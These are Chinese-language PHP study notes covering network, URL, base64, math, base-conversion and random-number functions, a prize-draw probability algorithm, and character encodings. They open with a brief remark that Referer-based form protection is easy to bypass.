if($_SERVER['HTTP_REFERER'] != 'http://www.mysite.com/myform.html'){
header('Refresh: 5; url=http://www.mysite.com/myform.html');
echo 'You must use the form on my site...redirecting now.';
}else{
insert_data($_POST['var1'],$_POST['var2']);
}
这或许会阻止那些不是很精通的黑客通过浏览器提交一个自定义的表单来提交数据,但任何一个稍微高深一些的黑客都可以通过使用telnet来提交数据,包括请求头信息
Referer: http://www.mysite.com/myform.html
然后轻易的躲过这层保护机制
【 header_register_callback() 】
bool header_register_callback ( callable $callback )
注册一个函数,在PHP开始发送输出时调用。在头即将发送前执行的,所以本函数的任意内容输出都会打断输出过程
PHP准备好所有响应头,在发送内容之前执行callback,创建了一个发送响应头的操作窗口
参数callback是在头发送前调用函数,它没有参数,返回的值也会被忽略
成功时返回TRUE,或者在失败时返回FALSE
【 getservbyname() 】 int getservbyname ( string $service ,string $protocol ) 返回互联网服务service指定的协议protocol中对应的端口号,依据/etc/services,如果service或protocol未找到返回FALSE 参数service表示互联网服务名称的字符串。 参数protocol既可以是 "tcp" 也可以是 "udp" (小写)
【 getservbyport() 】
string getservbyport ( int $port ,string $protocol )
returns the Internet service associated with port for the specified protocol as per /etc/services
$server = getservbyport(137,"udp");
echo $server; // netbios-ns
$server = getservbyport(80,"tcp");
echo $server; // http
【 gethostname() 】
string gethostname ( void )
可以获取本地机器的标准主机名,成功时返回主机名称字符串,失败时返回 FALSE
echo gethostname(); // LAPTOP-0KMQM01D
echo php_uname('n'); // LAPTOP-0KMQM01D, before PHP 5.3
【 gethostbyname() 】
string gethostbyname ( string $hostname )
返回主机名hostname对应的IPv4互联网地址,失败时原封不动返回hostname字符串
array gethostbynamel ( string $hostname )
返回互联网主机名hostname解析出来的IPv4地址列表
$ip = gethostbyname('www.baidu.com');
echo $ip; // 14.215.177.39
$ip = gethostbyname('baidu.com');
echo $ip; // 220.181.57.216
$ip = gethostbynamel('www.baidu.com');
print_r($ip); // Array ( [0] => 14.215.177.39 [1] => 14.215.177.38 )
【 gethostbyaddr() 】
string gethostbyaddr ( string $ip_address )
返回指定的IP地址(ip_address)对应的主机名
$hostname = gethostbyaddr('127.0.0.1');
echo $hostname; // LAPTOP-0KMQM01D
$hostname = gethostbyaddr('0.0.0.0');
echo $hostname; // LAPTOP-0KMQM01D
$hostname = gethostbyaddr('192.168.43.27');
echo $hostname; // LAPTOP-0KMQM01D
$hostname = gethostbyaddr('220.181.57.216');
echo $hostname; // 220.181.57.216
【 int getprotobyname ( string $name ) 】
Get protocol number associated with protocol name as per /etc/protocols,失败时返回 FALSE
$protocol = 'tcp';
$get_prot = getprotobyname($protocol);
if ($get_prot === FALSE) {
echo 'Invalid Protocol';
} else {
echo 'Protocol #' . $get_prot; // Protocol #6
}
url系列函数
【 parse_url() 】
parse_url ( string url): array
parse_url ( string $url [, int $component = -1 ] ) : mixed
返回一个关联数组,包含现有URL的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项
此函数并不意味着给定的URL是合法的,它只是将上方列表中的各部分分开,对相对路径的URL不起作用,parse_url()可接受不完整的URL,并尽量将其解析正确
组成部分为: scheme(如http)、host、port、user、pass、path、query(在问号?之后)、fragment(在散列符号#之后)
参数
url: 要解析的URL,无效字符将使用_来替换
component: 指定PHP_URL_SCHEME、PHP_URL_HOST、PHP_URL_PORT、PHP_URL_USER、PHP_URL_PASS、PHP_URL_PATH、PHP_URL_QUERY或PHP_URL_FRAGMENT的其中一个来获取URL中指定的部分的string或integer类型的port,而不是array,如URL中指定的组成部分不存在将会返回NULL
返回值
对严重不合格的URL,parse_url()可能会返回FALSE
如果省略了component参数,将返回一个关联数组array,在目前至少会有一个元素在该数组中。数组中可能的键有以下几种:
var_export( parse_url("http://username:password@hostname/path?arg=value#anchor"));
array (
'scheme' => 'http',
'host' => 'hostname',
'user' => 'username',
'pass' => 'password',
'path' => '/path',
'query' => 'arg=value',
'fragment' => 'anchor',
)
print_r( parse_url("http://invalid_host..name/"));
// array ('scheme' => 'http','host' => 'invalid_host..name','path' => '/')
【 urlencode() 】
urlencode ( string str): string
编码URL字符串,返回的字符串中除了-_.之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
此编码与表单POST数据的编码方式是一样的,同时与application/x-www-form-urlencoded的媒体类型编码方式一样
此函数便于将字符串编码并将其用于URL的请求部分,同时它还便于将变量传递给下一页
echo '< a href="mycgi?foo=',urlencode($userinput),'">';
var_dump(urlencode("http://localhost/test?arg=哈哈&limit=1#锚点"));
// string(89) "http%3A%2F%2Flocalhost%2Ftest%3Farg%3D%E5%93%88%E5%93%88%26limit%3D1%23%E9%94%9A%E7%82%B9"
【 urldecode() 】
urldecode ( string str): string
解码已编码的URL字符串
$keyword="df+ew++1233+598++++dfdfdf";
var_dump(urldecode($keyword)); // string(25) "df ew 1233 598 dfdfdf"
【 http_build_query() 】
http_build_query ( array formdata [,string numeric_prefix]): string
生成urlencode之后的请求字符串,使用给出的关联或下标数组生成一个urlencode请求字符串
参数formdata可以是数组或包含属性的对象。一个formdata数组可以是简单的一维结构,也可以是由数组组成的数组。如果在基础数组中使用了数字下标同时给出了numeric_prefix参数,此参数值将会作为基础数组中的数字下标元素的前缀。这是为了让PHP或其它CGI程序在稍后对数据进行解码时获取合法的变量名
$data = ['foo'=>'bar','baz'=>'boom','cow'=>'milk','php'=>'hypertext processor'];
echo http_build_query($data); // foo=bar&baz=boom&cow=milk&php=hypertext+processor
生成的url编码字符串php接收页面$POST会自动解析
$post_fields = [ 'username' => '张三', 'password' => 'admin', 'submit' => '登录' ];
$post_fields = http_build_query($post_fields);
var_dump($post_fields); // string 'username=%E5%BC%A0%E4%B8%89&password=admin&submit=%E7%99%BB%E5%BD%95'
【 base64_encode() 】
base64_encode($str)
使用MIME base64对数据进行编码,返回编码后的字符串数据,失败时返回false
设计此种编码是为了使二进制数据可以通过非纯8-bit的传输层传输,例如电子邮件的主体
Base64-encode数据要比原始数据多占用33%左右的空间
base64_encode('This is an encoded string') // VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==
function is_base64($str) {
if (!is_string($str)) return false;
return $str == base64_encode(base64_decode($str));
}
【 base64_decode() 】
base64_decode($str,$strict = false)
对使用MIME base64编码的数据进行解码,如果输入的数据超出了base64字母表则返回FALSE
返回原始数据,失败时返回FALSE。返回的数据可能是二进制的
$path = 'image.jpg';
$fp = fopen($path,'rb'); // 以二进制形式打开文件
$content = fread($fp, filesize($path)); // 读取文件内容
fclose($fp);
$content = base64_encode($content); // 将二进制信息编码成字符串
base64编码就是用64个可打印的字符作为一个字符集来表示数据。这64个字符包括A-Z、a-z、0-9这62个常见字符,另外还有两个可打印字符在不同的系统中可能会有所不同,常见的是+和/这两个字符,对应编号0-63
base64的编码过程如下:
将每3个字节放入一个24位的缓冲区中,最后不足3个字节的,缓冲区的剩余部分用0来填补。然后每次取出6位(2的6次方为64,使用64个字符即可表示所有),将高2位用0来填充,组成一个新的字节,计算出这个新字节的十进制值,对应上面的编码表,输出相应的字符。这样不断地进行下去,就可完成对所有数据的编码工作。
按照以上规则对文本Man编码如下
文本 M a n
ASCII编码 77 | 97 | 110
二进制位 0 1 0 0 1 1 0 1 0 1 1 0 0 0 0 1 0 1 1 0 1 1 1 0
索引 19 | 22 | 5 | 46
base64编码 T W F u
这样就把文本Man编码为了TWFu。
按照这种编码规则,原来的24位(3个字节)最后变成了4个新的字节(32位),所以编码后的数据比原数据略长1/3。
注意最后不足3个字节的部分用0来填补了,那么最后计算出来的十进制值是0,但是不能对应编码表中的A(尽管A对应0),因为用来填补的0不是有效数据,所以base64编码使用=来代替A表示无效的0。
因为=并不表示有效数据,所以用于对有效数据编码的是64个字符,而不是65个,所以是base64,而非base65!
为什么要使用64个字符呢?
如果每次取更多的位(多于6位)来计算,那么字符集的范围将大大增加,编码的应用范围将受到限制。如果我们每次取更少的位(少于6位)来计算,那么编码之后的数据长度就会增加,同样的数据编码之后就需要传输更多的字符。所以,我们每次取6位(2的6次方为64,使用64个字符即可表示所有)来计算刚好平衡了以上这两点。
base64编码主要用途
1、接口传输
主要适用于通过WEB接口将文件从一个站点向另一个站点传输,可以用于XML信息
2、存入数据库
将图片等文件信息保存到数据库中完全可以不用这么做,但这种方式依然适用,因为这完全是一个字符串
3、文件加密
假如有一套PHP程序需要保护,必须有授权码的用户才能正常运行,那么可能使用授权码来对文件进行加密,即将上述编码后的字符串再次加工,运行过程需要授权码才可运行
base64只是一种编码,并不适合用来加密数据。
php实现图片以base64显示的方法
Base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,可以查看RFC2045~RFC2049上MIME的详细规范
图片以字符串形式保存到网页,从而不需要再加载图片
base64主要不是加密,主要用途是把某些二进制数转成普通字符用于网络传输
由于这些二进制字符在传输协议中属于控制字符,不能直接传送,所以需要转换一下
虽然图片可能直接传输,但也可以将它变成字符串直接放在源码里,而不需要浏览器在读取到源码后再从服务器上下载
一般图片小于10kb的时候才会选择使用base64图片,比如一些表情图片,太大的图片转换成base64得不偿失
图片base64编码解码URL安全的字符串编码解码
php Math
MATH函数
bc函数指定精度 1.计算时指定精度 $a = bcsub(59.9,58,2); //保留两位小数 2.全局设置精度 bcscale(2); $a = bcsub(59.9,58); 【 bcsub() 】 bcsub ( string $left_operand , string $right_operand [, int $scale = int ] ) : string 2个任意精度数字的减法,左操作数减去右操作数,返回减法之后结果为字符串类型 scale可选参数用于设置结果中小数点后的小数位数,也可通过使用bcscale()来设置全局默认的小数位数,用于所有函数 $a = '1.234'; $b = '5'; echo bcsub($a, $b); // -3 echo bcsub($a, $b, 4); // -3.7660 【 bcadd() 】 bcadd ( string $left_operand , string $right_operand [, int $scale ] ) : string 2个任意精度数字的加法计算,左操作数和右操作数求和,返回求和之后结果为字符串类型 scale可选参数用于设置结果中小数点后的小数位数,也可通过使用bcscale()来设置全局默认的小数位数,用于所有函数 $a = '1.234'; $b = '5'; echo bcadd($a, $b); // 6 echo bcadd($a, $b, 4); // 6.2340 $tatol = bcadd($a, $b,2)//保留2位小数点
【 abs() 】
abs ( mixed $number ): number
返回number的绝对值。如果参数number是float则返回的类型也是float,否则返回integer,因为float通常比integer有更大的取值范围
var_dump(abs(-4.2)); // float(4.2)
var_dump(abs(5)); // int(5)
var_dump(abs(-5)); // int(5)
var_dump(-abs(-5)); // int(-5)
【 round() 】
round ( float $val [,int $precision = 0 [,int $mode = PHP_ROUND_HALF_UP ]] ): float
对浮点数四舍五入
返回将val根据指定精度precision(十进制小数点后数字的数目)进行四舍五入的结果。precision也可以是负数或零(默认值)
mode可以是以下之一: PHP_ROUND_HALF_UP、 PHP_ROUND_HALF_DOWN PHP_ROUND_HALF_EVEN或PHP_ROUND_HALF_ODD
echo round(3.4); // 3
echo round(3.5); // 4
echo round(3.6); // 4
echo round(3.6,0); // 4
echo round(1.95583,2); // 1.96
echo round(1241757,-3); // 1242000
echo round(5.045,2); // 5.05
echo round(5.055,2); // 5.06
echo round(9.5,0,PHP_ROUND_HALF_UP); // 10
echo round(9.5,0,PHP_ROUND_HALF_DOWN); // 9
echo round(9.5,0,PHP_ROUND_HALF_EVEN); // 10
echo round(9.5,0,PHP_ROUND_HALF_ODD); // 9
echo round(8.5,0,PHP_ROUND_HALF_UP); // 9
echo round(8.5,0,PHP_ROUND_HALF_DOWN); // 8
echo round(8.5,0,PHP_ROUND_HALF_EVEN); // 8
echo round(8.5,0,PHP_ROUND_HALF_ODD); // 9
【 ceil() 】
ceil ( float $value ): float
向上取整,返回不小于value的下一个整数,value如果有小数部分则进一位
ceil()返回的类型仍然是float,因为float值的范围通常比integer要大
echo ceil(4.3); // 5
echo ceil(9.999); // 10
echo ceil(-3.14); // -3
【 floor() 】
floor ( float $value ): float
向下取整,返回不大于value的最接近的整数,舍去小数部分取整
echo floor(4.3); // 4
echo floor(9.999); // 9
echo floor(-3.14); // -4
【 is_nan() 】
is_nan ( float $val ): bool
判断是否为合法数值,如果val不是一个数字(not a number)返回TRUE,否则返回FALSE
如果val为"非数值"例如acos(1.01)的结果则返回TRUE
$nan = acos(8);
var_dump($nan,is_nan($nan)); // float NAN,boolean true
【 max() 】
max ( array $values ): mixed
max ( mixed $value1 ,mixed $value2 [,mixed $... ] ): mixed
返回最大值
如果仅有一个数组参数返回该数组中最大的值。如果第一个参数是整数、字符串或浮点数,则至少需要两个参数而max()会返回这些值中最大的一个。可以比较无限多个值
PHP会将非数值的string当成0,但如果这个正是最大的数值则仍然会返回一个字符串。如果多个参数都求值为0且是最大值,max()会返回其中数值的0,如果参数中没有数值的0,则返回按字母表顺序最大的字符串
echo max(1,3,5,6,7); // 7
echo max(array(2,4,5)); // 5
echo max('42',3); // '42'
// When 'hello' is cast as integer it will be 0. Both the parameters are equally
// long,so the order they are given in determines the result
echo max(0,'hello'); // 0
echo max('hello',0); // hello
// Here 0 > -1,so 'hello' is the return value.
echo max(-1,'hello'); // hello
// With multiple arrays of different lengths,max returns the longest
$val = max(array(2,2,2),array(1,1,1,1)); // array(1,1,1,1)
// 对多个数组,max从左向右比较,因此在本例中: 2 == 2,但 4 < 5
$val = max(array(2,4,8),array(2,5,7)); // array(2,5,7)
// 如果同时给出数组和非数组作为参数,则总是将数组视为最大值返回
$val = max('string',array(2,5,7),42); // array(2,5,7)
【 min() 】
min ( array $values ): mixed
min ( mixed $value1 ,mixed $value2 [,mixed $... ] ): mixed
返回最小值
如果仅有一个参数且为数组,min()返回该数组中最小的值。如果给出了两个或更多参数,min() 会返回这些值中最小的一个
PHP会将非数值的string当成0,但如果这个正是最小的数值则仍然会返回一个字符串。如果多个参数都求值为0且是最小值,min()会返回按字母表顺序最小的字符串,如果其中没有字符串的话则返回数值的0
【 pi() 】
pi ( void ): float
返回圆周率的近似值。返回值的float精度是由php.ini中的precision指令确定。默认值是14。也可以使用M_PI常量,该常量产生与pi()完全相同的结果
echo pi(); // 3.1415926535898
echo M_PI; // 3.1415926535898
【 pow() 】
pow ( number $base ,number $exp ): number
指数表达式,返回base的exp次方的幂。如果可能本函数会返回integer。
var_dump(pow(2,8)); // int(256)
echo pow(-1,20); // 1
echo pow(0,0); // 1
echo pow(-1,5.5); // PHP >4.0.6 NAN
echo pow(-1,5.5); // PHP <=4.0.6 1.#IND
php7幂运算,用来替代pow函数
$pow = pow(2,10);
$replace = 2 ** 10;
var_dump($replace == $pow); // true
【 sqrt() ]
sqrt ( float $arg ): float
返回arg的平方根
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
MATH函数进制转换
【 x进制 】
X进制,就表示某一位置上的数运算时是逢X进一位
十进制是逢十进一,十六进制是逢十六进一,二进制就是逢二进一
计算机中的数据均采用二进制数表示
二进制数10110011可以写成(10110011)2或10110011B
八进制有数码0、1、2、3、4、5、6、7,八进制的基数R=8=2^3,并且每个数码正好对应3位二进制数,所以八进制能很好地反映二进制。八进制用下标8或数据后面加O表示,例如: 二进制数据( 11 101 010 . 010 110 100 )2对应八进制数据(352.264)8或352.264O
十六进制由十六个数码0~9以及a,b,c,d,e,f组成,基数R=16=2^4,十六进制数4AC8可写成(4AC8)16或4AC8H
常见的进制:
二进制 binary bin
八进制 octal oct
十进制 decimal dec
十六进制 hexadecimal hex
A 二进制 0100 0001
B 二进制 0100 0010
字节序即字节的顺序,字符串AB 0100 0001 0100 0010
高/低位字节,字符串AB,左高右低,A为高字节,B为低字节
【 base_convert() 】
string base_convert ( string $number ,int $frombase ,int $tobase )
在任意进制之间转换数字
返回一字符串,包含number以tobase进制的表示。number本身的进制由frombase指定。frombase和tobase都只能在2和36之间(包括2和36)。高于十进制的数字用字母a-z表示,例如a表示10,b表示11 以及z表示35
例: 进制转换函数是数值转换,可以不需要字符串的形式
base_convert('0031',8,10) // 八进制的0031转换成十进制为25
base_convert('364',8,16) // 八进制的364转换成十六进制为f4
var_dump(base_convert('A37334',16,2)); // string '101000110111001100110100' (length=24)
【 bindec() 】
number bindec ( string $binary_string )
返回binary_string参数所表示的二进制数的十进制等价值。
bindec()将一个二进制数转换成十进制integer,或者出于大小的需要转换为float类型。
bindec()将所有的binary_string值解释为无符号整数。这是由于bindec()函数将其最高有效位视为数量级而非符号位
var_dump(bindec('110011')); // int 51
var_dump(bindec('000110011')); // int 51
var_dump(bindec('111')); // int 7
echo bindec("0011"); // 3
echo bindec("01"); // 1
echo bindec("11000110011"); // 1587
echo bindec("111"); // 7
【 octdec() 】
number octdec ( string $octal_string )
把八进制转换为十进制,返回octal_string参数所表示的八进制数的十进制等值
【 hexdec() 】
number hexdec ( string $hex_string )
把十六进制字符串转换为十进制数,返回与hex_string参数所表示的十六进制数等值的的十进制数
hexdec()会忽略它遇到的任意非十六进制的字符
var_dump(hexdec("See")); // int 238
var_dump(hexdec("ee")); // int 238
var_dump(hexdec("that")); // int 10
var_dump(hexdec("a0")); // int 160
echo hexdec("1e"); // 30
echo hexdec("a"); // 10
echo hexdec("11ff"); // 4607
echo hexdec("cceeff"); // 13430527
【 decbin() 】
string decbin ( int $number )
把十进制转换为二进制
返回一字符串,包含有给定number参数的二进制表示。所能转换的最大数值为十进制的4294967295,其结果为32个1的字符串
var_dump(decbin(12)); // string '1100' (length=4)
var_dump(decbin(26)); // string '11010' (length=5)
【 dechex() 】
string dechex ( int $number )
把十进制转换为十六进制,返回一字符串,包含有给定number参数的十六进制表示。
所能转换的最大数值为十进制的PHP_INT_MAX * 2 + 1 (或 -1): 在32位平台上是十进制的4294967295,其dechex()的结果为ffffffff
参数number表示要转换的十进制值
PHP的integer类型是有符号的,但dechex()处理无符号整数,负正数会以无符号处理
var_dump(dechex(10)); // string 'a' (length=1)
var_dump(dechex(47)); // string '2f' (length=2)
// 大整数的dechex()例子
var_dump(dechex(-1)); // string 'ffffffff' (length=8)
var_dump(dechex(PHP_INT_MAX * 2 + 1)); // string 'ffffffff' (length=8)
var_dump(dechex(pow(2,32) - 1)); // string 'ffffffff' (length=8)
【 decoct() 】
string decoct ( int $number )
把十进制转换为八进制,返回一字符串,包含有给定number参数的八进制表示。所能转换的最大数值为十进制的4294967295,其结果为"37777777777"
var_dump(decoct(15)); // string '17' (length=2)
var_dump(decoct(264)); // string '410' (length=3)
MATH函数随机数
【 mt_rand() 】 int mt_rand ( int $min ,int $max ) 生成更好的随机数 很多老的libc的随机数发生器具有一些不确定和未知的特性而且很慢,PHP的rand()函数默认使用libc随机数发生器,mt_rand()函数是非正式用来替换它的。该函数用了mersenne twister算法返回随机整数,速度比libc提供的rand()快四倍。 min参数可选的、返回的最小值(默认: 0) max参数可选的、返回的最大值(默认: mt_getrandmax()) echo mt_rand(); // 1604716014 echo mt_rand(); // 1478613278 echo mt_rand(5,15); // 6, 5到15(包括5和15)之间的随机数 【 rand() 】 int rand ( int $min ,int $max ) 返回随机整数 在某些平台下如Windows的getrandmax()只有32767。如果需要的范围大于32767,那么指定min和max参数就可以生成更大的数了,或者考虑用mt_rand()来替代 min参数返回的最低值(默认: 0) max参数返回的最高值(默认: getrandmax()) echo rand(); // 7771 echo rand(); // 22264 echo rand(5,15); // 11, 5到15(包括5和15)之间的随机数 【 lcg_value() 】 float lcg_value ( void ) 组合线性同余发生器,返回范围为(0,1)的一个伪随机数。本函数组合了周期为2^31 - 85和2^31 - 249的两个同余发生器。本函数的周期等于这两个素数的乘积生成随机字符串
抽奖算法 抽奖程序中奖概率算法
可用于刮刮卡,大转盘等抽奖算法 先完成后台PHP的流程,PHP的主要工作是负责配置奖项及对应的中奖概率,当前端页面点击翻动某个方块时会想后台PHP发送ajax请求,那么后台PHP根据配置的概率,通过概率算法给出中奖结果,同时将未中奖的奖项信息一并以JSON数据格式发送给前端页面。 做网站类的有时会弄个活动让用户参加,既吸引用户注册,又提高网站的用户活跃度。同时参加的用户会获得一定的奖品,有100%中奖的,也有按一定概率中奖的,大的比如中个ipad、iphone5,小的中个Q币什么的。那么我们在程序里必然会设计到算法,即按照一定的概率让用户获得奖品先来看概率计算函数
上述代码是一段经典的概率算法,$proArr是一个预先设置的数组,假设数组为:array(100,200,300,400),开始是从1,1000这个概率范围内筛选第一个数是否在他的出现概率范围之内, 如果不在,则将概率空间,也就是k的值减去刚刚的那个数字的概率空间,在本例当中就是减去100,也就是说第二个数是在1,900这个范围内筛选的。这样筛选到最终,总会有一个数满足要求。就相当于去一个箱子里摸东西,第一个不是,第二个不是,第三个还不是,那最后一个一定是。这个算法简单,而且效率非常高,关键是这个算法已在我们以前的项目中有应用,尤其是大数据量的项目中效率非常棒。 接下来通过PHP配置奖项 该二维数组,记录了所有本次抽奖的奖项信息,其中id表示中奖等级,prize表示奖品,v表示中奖概率。注意其中的v必须为整数,你可以将对应的奖项的v设置成0,即意味着该奖项抽中的几率是0,数组中v的总和(基数),基数越大越能体现概率的准确性。本例中v的总和为100,那么平板电脑对应的中奖概率就是1%,如果v的总和是10000,那中奖概率就是万分之一了。 每次前端页面的请求,PHP循环奖项设置数组,通过概率计算函数get_rand获取抽中的奖项id。将中奖奖品保存在数组$res['yes']中,而剩下的未中奖的信息保存在$res['no']中,最后输出json个数数据给前端页面。第二种算法全概率计算
字符编码及转换
二进制字符串是字节字符串,非二进制字符串是字符字符串 这个体现在mysql数据库中为: BINARY和VARBINARY类类似于CHAR和VARCHAR,不同的是它们包含二进制字符串而不要非二进制字符串。也就是说,它们包含字节字符串而不是字符字符串。这说明它们没有字符集,并且排序和比较基于列值字节的数值值。 BLOB列被视为二进制字符串(字节字符串)。TEXT列被视为非二进制字符串(字符字符串)。 二进制字符串就是用二进制码来表示字符以及由多个字符构成的字符串。 通常采用美国标准信息交换码ASCII来表示字符,标准ASCII采用7位二进制码,可以表示2^7=128个字符。 例如110是三个字符构成的字符串就用31H 31H 30H来表示,120的ASCII是31H 32H 30H,360的ASCII是33H 36H 30H 二进制字符串就是把一个十进制数转成二进制,以字符串的形式保存 例如120 => "1111000" 二进制字符串一般用于存储二进制的大对象,二进制字符串类型有BIT、BLOB、BINARY和VARBINARY MySQL中的二进制数据类型有: BIT、BINARY、VARBINARY、TINYBLOB、BLOB、MEDIUMBLOB和LONGBLOB 与字符串一样,二进制字符串也是一个字节序列。但与通常包含文本格式信息的字符串不同,二进制串用于存储非传统数据,如图像、音频和视频文件、程序可执行文件等。 二进制字符串可以用于与字符串类似的目的(例如以Microsoft Word格式存储文档),但两种数据类型不兼容;两者的差别如同文本和同一文本的照片。 在实际操作中,一般不建议将二进制的大文件存储在数据库中,而是将大对象的物理位置存储在数据中,但是有特殊需要的情况下,还是有将二进制大对象存储在数据库的可能。 二进制字符串和普通字符串的区别有两个: 首先,二进制字符串完全可以存储字节零值以及其他不可打印的字节(定义在32到126范围之外的字节)。普通字符串不允许存储字节零值,并且也不允许存储那些不符合选定的字符集编码的非法字节值或字节序列 第二,对二进制字符串的处理实际上就是处理字节,而对字符串的处理,则取决于区域设置。简单地说,二进制字符串适用于存储那些程序员认为是"原始字节"的数据,比如图片内容,而字符串则适合存储文本。 【 字节、字符、字符串 】 数据存储是以"字节"(Byte)为单位,数据传输大多是以"位"(bit,又名"比特")为单位,一个位就代表一个0或1(即二进制),每8个位(bit,简写为b)组成一个字节(Byte,简写为B),是最小一级的信息单位 bit(比特)意为"位"或"比特",是计算机运算的基础,属于二进制的范畴; byte(拜特)意为"字节",是计算机文件大小的基本计算单位,是内存的基本单位,也是编址单位 通常用bit来作数据传输的单位,因为物理层、数据链路层的传输对于用户是透明的,而这种通信传输是基于二进制的传输 在应用层通常是用byte来作单位,表示文件的大小,在用户看来就是可见的数据大小。如一个字符就是1byte,汉字则是2byte 如计算机内存是4GB指的是计算机内存中共有4*1021*1024*1024个字节 1Byte=8Bit,1个字节由8位组成;1bit值是0或1 1 Byte = 8 Bits 1 KB = 1024 Bytes 1 MB = 1024 KB 1 GB = 1024 MB Bps是Byte per second的简称。而电脑一般都以Bps 显示速度,如1Mbps大约等同128 KBps bps是bits per second的简称。一般数据机及网络通讯的传输速率都是以「bps」为单位。如56Kbps、100.0Mbps等等 即宽带运营商以bps作为单位,而实际下载速度则是Bps,所以100.0Mbps百兆宽带的下载速度约为10MBps,约八分之一 通常的十兆每秒,在这里运营商用的小单位,而用户实际看的网速为大单位 谈到字符就不得不提ANSI及UNICODE两种不同的编码方式标准 ANSI中的字符采用8bit,以单字节存放英文字符,以双字节存放中文等字符 UNICODE中的字符采用16bit,,采用二个字节编码,与ANSI码不兼容,英文和中文的字符都以双字节存放 ANSI规定: 一个小于127的字符的意义与原来相同,但两个大于127的字符连在一起时就表示一个汉字,前面的一个字节(高字节)从0xA1用到0xF7,后面一个字节(低字节)从0xA1到0xFE,这样就可以组合出大约7000多个简体汉字了。这些编码还把数学符号、罗马希腊的字母、日文的假名们都编进去了,连在ASCII里本来就有的数字、标点、字母都统统重新编了两个字节长的编码,这就是常说的"全角"字符,而原来在127号以下的那些就叫"半角"字符了。 从UNICODE开始,无论是半角的英文字母,还是全角的汉字都是统一的"一个字符"!同时也都是统一的"两个字节"。 结论: 按照ANSI编码标准,标点符号、数字、大小写字母都占一个字节,汉字占2个字节。按照UNICODE标准所有字符都占2个字节。 字符串 由于字符有2种编码标准,所以字符串也分为2种。 1、字符串(ANSI): 在内存中,如果字符是以ANSI编码形式存在的,一个字符可能使用一个字节或多个字节来表示,那么这种字符串被称为ANSI字符串或多字节字符串。 2、字符串(UNICODE): 在内存中,如果字符是以在UNICODE中的序号存在的,那么这种字符串被称为UNICODE字符串或者宽字节字符串。 由于不同ANSI编码所规定的标准是不相同的,因此对于一个给定的多字节字符串,必须知道它采用的是哪一种编码规则才能够知道它包含了哪些"字符"。而对于UNICODE字符串来说,不管在什么环境下,它所代表的"字符"内容总是不变的 字节是计算机信息技术用于计量存储容量(硬盘或内存)和传输容量的一种计量单位,1个字节等于8位二进制,它是一个8位的二进制数 字节是通过网络传输信息或在硬盘或内存中存储信息的单位 字符: 人们使用的记号,抽象意义上的一个符号。 '1','中','a','$','¥',…… 字符是可使用多种不同字符方案或代码页来表示的抽象实体。例如Unicode UTF-16编码将字符表示为16位整数序列,而Unicode UTF-8编码则将相同的字符表示为8位字节序列。公共语言运行库使用Unicode UTF-16(Unicode转换格式,16位编码形式)表示字符。 不同编码里,字符和字节的对应关系不同: 1、ASCII码: 一个英文字母(不分大小写)占一个字节的空间,一个中文汉字占两个字节的空间。一个二进制数字序列,在计算机中作为一个数字单元,一般为8位二进制数,换算为十进制。最小值-128,最大值127。如一个ASCII码就是一个字节。 2、UTF-8编码: 一个英文字符或标点等于一个字节,一个中文(含繁体)或标点等于三个字节 3、gbk编码: 一个中文占2个字节 4、Unicode编码: 一个英文或标点等于两个字节,一个中文(含繁体)或标点等于两个字节 5、UTF-16编码中一个英文字母字符或一个汉字字符存储都需要2个字节(Unicode扩展区的一些汉字存储需要4个字节)。 6、UTF-32编码中任何字符的存储都需要4个字节。byte字节数组与字符串转化类二进制与字符串相互转换
【 字符编码 】
计算机只知道0和1,如果要计算机识别除了01之外的字符,例如要先告诉计算机'1100001'就是字符'a'
所谓的字符编码就是跟计算机约定一连串的0101到底代表了什么字符
ascii编码是鼻祖,但是ascii只有8bits,实际用到的是7位,所以只能表示128个字符(00000000~01111111),包括可打印的普通字符和不可打印的命令字符
这128个字符对于美国人来说应该是足够了。但对于一些使用非英文字符的国家地区,例如拉丁文,发文,俄文,中文就绝对不够。
所以后来就有人搞了扩展的ascii,也有人搞了新的字符编码,在原来的8位基础上扩展到16位、32位。常见的ISOxxxx,GB2312,GBK,BIG 5,unicode....都是后来发展起来的。
虽然这些字符编码有些之间是不兼容,就中文而言,gb2312是不兼容unicode的,即同一个汉字底层约定的二进制是不一样的,网页上的乱码就是出于此。但是这些后来发展的字符编码都向下兼容了ascii。这就是为什么utf-8(unicode)和gbk/gb2312显示英文是不会有乱码,而显示中文会容易乱码,因为都兼容ascii,所以52个字母的显示都是按ascii标准。但ascii是没中文的,所以unicode,gbk都按各自标准解释了
1、GB2312编码用两个字节(8位2进制)表示一个汉字
2、GBK采用双字节表示,总体编码范围为8140-FEFE
3、Big5在台湾、香港与澳门地区,使用的是繁体中文字符集,1984年台湾五大厂商宏碁、神通、佳佳、零壹以及大众一同制定了一种繁体中文编码方案,因其来源被称为五大码,每个字符统一使用两个字节存储表示
4、UTF-8对中文支持是一个汉字占3个字节
多字节字符指不在传统的128个ASCII字符集中的字符,比如中文字符。而PHP中处理字符串的函数默认假设所有字符都是8位字符,占用一个字节,如果使用这些PHP原生的字符串处理函数处理包含多字节字符的Unicode字符串会得到意料之外的错误结果。
为了避免处理多字节字符出错,可以安装mbstring扩展。这个扩展提供了处理多字节字符串的函数,能替代大多数PHP原生的处理字符串的函数,例如可以使用mb_strlen()替代原生的strlen()函数来获取字符串长度
字符编码
1).一定要知道数据的字符编码。
2).使用UTF-8字符编码存储数据。
3).使用UTF-8字符编码输出数据。
4).mbstring扩展不仅可以处理Unicode字符串,还可以在不同的字符编码之间转换多字节字符串
ASCII表中字母a的二进制,八进制,十进制,十六进制的写法
$num = ord('a');
echo decbin($num); // 二进制,1100001
echo decoct($num); // 八进制,141
echo $num; // 十进制,97
echo dechex($num); // 十六进制,61
不同进制的数字或字符串显示对应的ascii字符
【 bin2hex() 】
string bin2hex ( string $str )
把包含数据的二进制字符串转换为十六进制值的字符串。转换使用字节方式,高四位字节优先
// there is a very big difference between binary data and a string representation of binary
$binary = "11111001";
var_dump(dechex(bindec($binary))); // string 'f9' (length=2)
var_dump(bin2hex($binary)); // string '3131313131303031' (length=16)
var_dump(bin2hex("c")); // string '63' (length=2),a、b、c的ASCII码为61、62、63
var_dump(bin2hex("abc")); // string '616263' (length=6)
字符串与16进制ASCII互转
【 hex2bin() 】
string hex2bin ( string $data )
